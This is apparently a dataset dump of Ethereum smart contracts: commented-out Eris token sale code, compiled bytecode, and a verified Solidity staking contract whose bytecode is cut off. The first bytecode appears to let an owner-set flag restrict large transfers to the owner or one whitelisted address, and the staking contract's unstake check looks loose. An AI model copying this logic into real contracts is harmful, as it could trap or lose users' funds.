emit QPLGMEStarted( qplgmeActive, qplgmeStartTimestamp ); // } // function quadraticPricewithAdditionalPayment( address buyer, uint additionalAmountPaid ) public view returns ( uint ) { // return FinancialSafeMath.quadraticPricing( _weiPaidForErisByAddress[buyer].add( additionalAmountPaid ) ).mul(_erisToEthRatio).mul(1e9); // } // function erisForWeiPaid( uint256 payment ) public view returns ( uint256 ) { // return FinancialSafeMath.quadraticPricing( payment ).mul(_erisToEthRatio).mul(1e9); // } // function _erisForWeiPaid( uint256 payment ) private view returns ( uint256 ) { // return FinancialSafeMath.quadraticPricing( payment ).mul(_erisToEthRatio).mul(1e9); // } // function buyERIS() public payable erisQPLGMEActive { // uint256 amountPaidInWEI = msg.value; // _weth.deposit{value: amountPaidInWEI}(); // totalWeiPaidForEris = totalWeiPaidForEris.add( amountPaidInWEI ); // if( _weiPaidForErisByAddress[Context._msgSender()] > 0 ){ // totalSupply = totalSupply.add( _erisForWeiPaid(_weiPaidForErisByAddress[Context._msgSender()].add(amountPaidInWEI)) ).sub( _erisForWeiPaid(_weiPaidForErisByAddress[Context._msgSender()] ) ); // } else if( _weiPaidForErisByAddress[Context._msgSender()] == 0 ) { // totalSupply = totalSupply.add( _erisForWeiPaid(_weiPaidForErisByAddress[Context._msgSender()].add( amountPaidInWEI ) ) ); // } // _weiPaidForErisByAddress[Context._msgSender()] = _weiPaidForErisByAddress[Context._msgSender()].add( amountPaidInWEI ); // ethDonationToCharity = ethDonationToCharity.add( amountPaidInWEI.div(10) ); // } // function buyERIS( uint256 amount) public payable erisQPLGMEActive() { // uint256 amountPaidInWEI = amount; // _testToken.transferFrom( Context._msgSender(), address(this), amount); // uin256 memory currentBuyersWeirPaidForEris_ = _weiPaidForErisByAddress[Context._msgSender()]; // _weiPaidForErisByAddress[Context._msgSender()] = _weiPaidForErisByAddress[Context._msgSender()].add(amountPaidInWEI); // totalWeiPaidForEris = totalWeiPaidForEris.add(_weiPaidForErisByAddress[Context._msgSender()]).sub( currentBuyersWeirPaidForEris_ ); // _totalSupply = _totalSupply.add( _erisForWeiPaid(_weiPaidForErisByAddress[Context._msgSender()].add(amountPaidInWEI)) ).sub( _erisForWeiPaid(_weiPaidForErisByAddress[Context._msgSender()] ) ); // ethDonationToCharity = ethDonationToCharity.add( _weiPaidForErisByAddress[Context._msgSender()] / 10 ).sub( currentBuyersWeirPaidForEris_.div(10) ); // } // function endQPLGME() public onlyOwner() { // if( !hadQPLGME ) { // _completeErisGME(); // } // emit QPLGMEEnded( qplgmeActive, qplgmeEndTimestamp ); // } // function collectErisFromQPLGME() public erisQPLGMEInactive() { // if( !hadQPLGME ) { // _completeErisGME(); // } // if( _weiPaidForErisByAddress[Context._msgSender()] > 0 ){ // uint256 weiPaidForErisByAddress_ = _weiPaidForErisByAddress[Context._msgSender()]; // _weiPaidForErisByAddress[Context._msgSender()] = 0; // _balances[Context._msgSender()] = _erisForWeiPaid( weiPaidForErisByAddress_ ); // } // } // function _completeErisGME() private { // qplgmeEndTimestamp = block.timestamp; // qplgmeActive = false; // hadQPLGME = true; // // _balances[charityAddress] = _erisForWeiPaid( _weth.balanceOf( address( this ) ) ); // _balances[charityAddress] = _erisForWeiPaid( _testToken.balanceOf( address( this ) ) ); // _totalSupply = _totalSupply.add(_balances[charityAddress]); // // ethDonationToCharity = _weth.balanceOf( address(this) ).div(10); // ethDonationToCharity = _testToken.balanceOf( address(this) ).div(10); // // erisDueToReserves = _erisForWeiPaid( _weth.balanceOf( address( this ) ) ); // _fundReservesAndSetTotalSupply(); // _collectDonationToCharity(); // _depositInUniswap(); // } // function _fundReservesAndSetTotalSupply() private { // fundCharity(); // fundDev(); // } // function fundDev() private { // // _balances[devAddress] = _erisForWeiPaid( _weth.balanceOf( address( this ) ) ); // _balances[devAddress] = _erisForWeiPaid( _testToken.balanceOf( address( this ) ) ); // _totalSupply = _totalSupply.add(_balances[devAddress]); // } // function fundCharity() private { // } // function _collectDonationToCharity() private { // require( ethDonationToCharity > 0 ); // ethDonationToCharity = 0; // // _weth.transfer( charityAddress, _weth.balanceOf( address(this) ).div(10) ); // _testToken.transfer( charityAddress, _testToken.balanceOf( address(this) ).div(10) ); // } // function _depositInUniswap() private { // // totalWeiPaidForEris = _weth.balanceOf( address(this) ); // totalWeiPaidForEris = _testToken.balanceOf( address(this) ); // _balances[address(_uniswapV2ErisWETHDEXPair)] = FinancialSafeMath.bondingPrice( _totalSupply.div(totalWeiPaidForEris), _totalSupply ).mul(_erisToEthRatio).div(1e2); // // _weth.transfer( address(_uniswapV2ErisWETHDEXPair), _weth.balanceOf( address(this) ) ); // _testToken.transfer( address(_uniswapV2ErisWETHDEXPair), _testToken.balanceOf( address(this) ) ); // _uniswapV2ErisWETHDEXPair.mint(address(this)); // _totalLPTokensMinted = _uniswapV2ErisWETHDEXPair.balanceOf(address(this)); // require(_totalLPTokensMinted != 0 , "No LP deposited"); // _lpPerETHUnit = _totalLPTokensMinted.mul(1e18).div(totalWeiPaidForEris); // require(_lpPerETHUnit != 0 , "Eris:292:_depositInUniswap(): No LP deposited"); // } // function erisDueToBuyerAtEndOfLGE( address buyer ) public view returns ( uint256 ){ // return FinancialSafeMath.quadraticPricing( _weiPaidForErisByAddress[ buyer ] ).mul(_erisToEthRatio).mul(1e9); // //return _erisForWeiPaid( _weiPaidForErisByAddress[ buyer ] ); // } // function withdrawPaidETHForfietAllERIS() public erisQPLGMEActive() { // uint256 weiPaid = _weiPaidForErisByAddress[Context._msgSender()]; // _weiPaidForErisByAddress[Context._msgSender()] = 0 ; // _balances[Context._msgSender()] = 0; // totalWeiPaidForEris = totalWeiPaidForEris.sub( weiPaid ); // ethDonationToCharity = ethDonationToCharity.sub( weiPaid.div(10) ); // // _weth.withdraw( weiPaid ); // // Context._msgSender().transfer( weiPaid ); // _testToken.transfer( Context._msgSender(), weiPaid ); // } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063c577e0d41161007c578063c577e0d41461056d578063c6d3486f146105a1578063cca3e832146105ab578063cfc1625414610603578063dd62ed3e14610647578063f2fde38b146106bf57610142565b80638da5cb5b146103fe57806395d89b4114610432578063a9059cbb146104b5578063b2bdfa7b14610519578063be9a65551461054d57610142565b8063313ce5671161010a578063313ce567146102fe5780633eaaf86b1461031c57806342966c681461033a57806370a082311461037e578063715018a6146103d657806383607659146103e057610142565b806306fdde0314610147578063095ea7b3146101ca57806318160ddd1461022e57806323b872dd1461024c578063298d0b41146102d0575b600080fd5b61014f610703565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061073c565b60405180821515815260200191505060405180910390f35b610236610867565b6040518082815260200191505060405180910390f35b6102b86004803603606081101561026257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610871565b60405180821515815260200191505060405180910390f35b6102fc600480360360208110156102e657600080fd5b8101908080359060200190929190505050610a6d565b005b610306610acf565b6040518082815260200191505060405180910390f35b610324610ad4565b6040518082815260200191505060405180910390f35b6103666004803603602081101561035057600080fd5b8101908080359060200190929190505050610ada565b60405180821515815260200191505060405180910390f35b6103c06004803603602081101561039457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bed565b6040518082815260200191505060405180910390f35b6103de610c36565b005b6103e8610db5565b6040518082815260200191505060405180910390f35b610406610dbb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61043a610de4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561047a57808201518184015260208101905061045f565b50505050905090810190601f1680156104a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610501600480360360408110156104cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e1d565b60405180821515815260200191505060405180910390f35b610521610e80565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610555610ea4565b60405180821515815260200191505060405180910390f35b610575610eb7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105a9610edd565b005b6105ed600480360360208110156105c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f8f565b6040518082815260200191505060405180910390f35b6106456004803603602081101561061957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fa7565b005b6106a96004803603604081101561065d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611043565b6040518082815260200191505060405180910390f35b610701600480360360208110156106d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b005b6040518060400160405280600d81526020017f457269732e45786368616e67650000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561077757600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108bf57600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561094857600080fd5b6109d782600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126c90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a628484846112b6565b600190509392505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ac557600080fd5b8060038190555050565b601281565b60015481565b60003373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610bc960008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000846112b6565b610bde8260015461126c90919063ffffffff16565b60018190555060019050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600481526020017f455249530000000000000000000000000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e6b57600080fd5b610e763384846112b6565b6001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f3557600080fd5b60001515600260009054906101000a900460ff1615151415610f71576001600260006101000a81548160ff021916908315150217905550610f8d565b6000600260006101000a81548160ff0219169083151502179055505b565b60056020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fff57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6006602052816000526040600020602052806000526040600020600091509150505481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611129576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806119906026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006112ae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611847565b905092915050565b60001515600260009054906101000a900460ff16151514156114665761132481600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113b981600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190790919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611842565b600354811015611604576114c281600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061155781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190790919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611841565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806116ab5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156118405761170281600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190790919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b5b5b505050565b60008383111582906118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118b957808201518184015260208101905061189e565b50505050905090810190601f1680156118e65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611985576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220e99fbb0c832496702a0675b2610aefc2fcbb34e7b431025d0a0ccc0a47c1dfdf64736f6c63430007040033
{"success": true, "error": null, "results": {}}
1,255
0x0afc4bf0c397782690a0296663134b9ac63e4ae9
/** *Submitted for verification at Etherscan.io on 2022-04-06 */ /** *Submitted for verification at Etherscan.io on 2022-03-31 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.7; library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath#mul: OVERFLOW"); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath#div: DIVISION_BY_ZERO"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath#sub: UNDERFLOW"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath#add: OVERFLOW"); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO"); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract SingleSidedStakingDNXC is Ownable { using SafeMath for uint256; struct StakerInfo { uint256 amount; uint256 startStakeTime; uint256 dnxA; uint256 dnxB; uint256 dnxC; } uint256 public stakingStart; uint256 public stakingEnd; uint256 public stakingClosed; uint256 public maximumStakedDNXC; uint256 public currentStakedDNXC; uint256 public minimumStake; IERC20 dnxcToken; // token being staked mapping(address => StakerInfo) public stakerInfo; uint256 internal fee; bool paused; bool emergencyUnstake; constructor(uint256 _minimumStake, uint256 _maximumStakedDNXC, uint256 _stakingStart, uint256 _stakingClosed, uint256 _stakingEnd, IERC20 _dnxcToken) { minimumStake = _minimumStake; maximumStakedDNXC = _maximumStakedDNXC; stakingStart = _stakingStart; stakingClosed = _stakingClosed; stakingEnd = _stakingEnd; paused = true; dnxcToken = _dnxcToken; } function changePause(bool _pause) onlyOwner public { paused = _pause; } function changeEmergency(bool _emergencyUnstake) onlyOwner public { emergencyUnstake = _emergencyUnstake; } function changeEndTime(uint256 endTime) public onlyOwner { stakingEnd = endTime; } function changeCloseTime(uint256 closeTime) public onlyOwner { stakingClosed = closeTime; } function changeStartTime(uint256 startTime) public onlyOwner { stakingStart = startTime; } function changeDNX(uint256 _dnxA, uint256 _dnxB, uint256 _dnxC) public { StakerInfo storage user = stakerInfo[msg.sender]; require (user.amount > 0, "E10"); user.dnxA = _dnxA; user.dnxB = _dnxB; user.dnxC = _dnxC; } function stake(uint256 _amount, uint256 _dnxA, uint256 _dnxB, uint256 _dnxC) public { require (paused == false, "E09"); require (block.timestamp >= stakingStart, "E07"); require (block.timestamp <= stakingClosed, "E08"); require (currentStakedDNXC.add(_amount) <= maximumStakedDNXC, "E09"); StakerInfo storage user = stakerInfo[msg.sender]; require (user.amount.add(_amount) >= minimumStake, "E01"); require (dnxcToken.transferFrom(msg.sender, address(this), _amount), "E02"); currentStakedDNXC = currentStakedDNXC.add(_amount); if (user.amount == 0) { user.startStakeTime = block.timestamp; } user.amount = user.amount.add(_amount); user.dnxA = _dnxA; user.dnxB = _dnxB; user.dnxC = _dnxC; } function unstake() public { require (emergencyUnstake || block.timestamp >= stakingEnd || block.timestamp <= stakingClosed, "E08"); StakerInfo storage user = stakerInfo[msg.sender]; dnxcToken.transfer( msg.sender, user.amount ); currentStakedDNXC = currentStakedDNXC.sub(user.amount); user.amount = 0; user.dnxA = 0; user.dnxB = 0; user.dnxC = 0; } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063a92ae61f116100a2578063e26ecafc11610071578063e26ecafc14610285578063e3184b25146102a1578063ec5ffac2146102bf578063f2fde38b146102dd578063f499672e146102f957610116565b8063a92ae61f1461020f578063b494745a1461022d578063ce93a8821461024b578063d771b0a61461026757610116565b80635d4fead3116100e95780635d4fead314610193578063715018a6146101af5780638aa5b2c3146101b95780638da5cb5b146101d5578063a31d7fdf146101f357610116565b80632def66201461011b5780633052b75e146101255780634e745f1f14610141578063517d041114610175575b600080fd5b610123610315565b005b61013f600480360381019061013a9190610fcf565b6104bf565b005b61015b60048036038101906101569190610f48565b610545565b60405161016c959493929190611408565b60405180910390f35b61017d61057b565b60405161018a91906113ed565b60405180910390f35b6101ad60048036038101906101a89190610f75565b610581565b005b6101b761061a565b005b6101d360048036038101906101ce9190610fcf565b6106a2565b005b6101dd610728565b6040516101ea9190611232565b60405180910390f35b61020d60048036038101906102089190610fcf565b610751565b005b6102176107d7565b60405161022491906113ed565b60405180910390f35b6102356107dd565b60405161024291906113ed565b60405180910390f35b6102656004803603810190610260919061104f565b6107e3565b005b61026f610b1d565b60405161027c91906113ed565b60405180910390f35b61029f600480360381019061029a9190610f75565b610b23565b005b6102a9610bbc565b6040516102b691906113ed565b60405180910390f35b6102c7610bc2565b6040516102d491906113ed565b60405180910390f35b6102f760048036038101906102f29190610f48565b610bc8565b005b610313600480360381019061030e9190610ffc565b610cc0565b005b600a60019054906101000a900460ff168061033257506002544210155b8061033f57506003544211155b61037e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103759061138d565b60405180910390fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3383600001546040518363ffffffff1660e01b8152600401610422929190611284565b602060405180830381600087803b15801561043c57600080fd5b505af1158015610450573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104749190610fa2565b5061048e8160000154600554610d6b90919063ffffffff16565b6005819055506000816000018190555060008160020181905550600081600301819055506000816004018190555050565b6104c7610dca565b73ffffffffffffffffffffffffffffffffffffffff166104e5610728565b73ffffffffffffffffffffffffffffffffffffffff161461053b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610532906113ad565b60405180910390fd5b8060028190555050565b60086020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154905085565b60025481565b610589610dca565b73ffffffffffffffffffffffffffffffffffffffff166105a7610728565b73ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906113ad565b60405180910390fd5b80600a60006101000a81548160ff02191690831515021790555050565b610622610dca565b73ffffffffffffffffffffffffffffffffffffffff16610640610728565b73ffffffffffffffffffffffffffffffffffffffff1614610696576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068d906113ad565b60405180910390fd5b6106a06000610dd2565b565b6106aa610dca565b73ffffffffffffffffffffffffffffffffffffffff166106c8610728565b73ffffffffffffffffffffffffffffffffffffffff161461071e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610715906113ad565b60405180910390fd5b8060018190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610759610dca565b73ffffffffffffffffffffffffffffffffffffffff16610777610728565b73ffffffffffffffffffffffffffffffffffffffff16146107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c4906113ad565b60405180910390fd5b8060038190555050565b60035481565b60045481565b60001515600a60009054906101000a900460ff16151514610839576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610830906112cd565b60405180910390fd5b60015442101561087e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108759061132d565b60405180910390fd5b6003544211156108c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ba9061138d565b60405180910390fd5b6004546108db85600554610e9690919063ffffffff16565b111561091c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610913906112cd565b60405180910390fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600654610979868360000154610e9690919063ffffffff16565b10156109ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b1906112ad565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330886040518463ffffffff1660e01b8152600401610a199392919061124d565b602060405180830381600087803b158015610a3357600080fd5b505af1158015610a47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6b9190610fa2565b610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa19061136d565b60405180910390fd5b610abf85600554610e9690919063ffffffff16565b600581905550600081600001541415610adc574281600101819055505b610af3858260000154610e9690919063ffffffff16565b81600001819055508381600201819055508281600301819055508181600401819055505050505050565b60015481565b610b2b610dca565b73ffff